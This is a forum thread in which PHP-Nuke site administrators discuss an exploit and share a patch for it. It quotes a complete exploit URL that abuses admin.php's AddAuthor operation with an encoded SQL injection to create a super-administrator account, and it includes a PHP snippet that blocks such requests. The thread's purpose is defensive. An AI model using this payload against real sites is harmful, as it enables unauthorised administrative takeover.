I'm so fecked off with Nuke, every day there's a new exploit or an update to an old exploit Sad

Here's another one, fairly bad this time.

Raven m8, any chance you can update your HackAttempt script to catch and stop it please dude ?!?

Code:

http://yoursite.blah/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo bar com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

Cheers,

Trev

For anyone else, edit your admin.php file and add the following...

Code:

if(stristr($_SERVER["QUERY_STRING"],'AddAuthor') || stristr($_SERVER["QUERY_STRING"],'UpdateAuthor')) {


$loc = $_SERVER['QUERY_STRING'];


header("Location: hackattempt.php?$loc");


die();


}

Thanks Raven for that, and Chatserv for the code too.

I dont think its such a good idea to post the actual exploit here if thats what it is.
I tried that exploit on my site and it just returns: Illegal Operation

That exploit is published everywhere already since it is not new. That's common code by now. I understand your caution and I appreciate it, but really, in this case, I can't see it causing any harm.

You can read about grand new coppermine exploit at here http://www.zone.ee/waraxe/?modname=sa&id=026 and this one very serious. Right now you can only secue your site when you reaname coppermine directory or delete it. I hope some one found fix soon Mad

Coppermine has a reliable support team I'm sure they'll rewrite and release asap.

I don't use Coppermine, but I've had the exploit attempted at one of my sites anyway. I have to wonder about the mentality of somebody who attempts this attack since the attacker's URL is part of the query string.

Hey LS! Good to see you. I really appreciate your 'candor' when posting.

Thanks for the good words, Raven. Lol, my goal is 'diplomatic candor', but occasionally I forget. Very Happy

Sorry if I upset anyone by posting the exploit but I'm always of the thinking that if an exploit is not published then the community cannot fix them quickly. As it turned out it was an oldish exploit (to me though it was new news) and Chatserv had already released a fix for it, thankfully.

I don't think we can shoot the messenger. Well at least as long as the messengers polite Mr. Green

I'm always polite, even when I've been shot at with real bullets Laughing
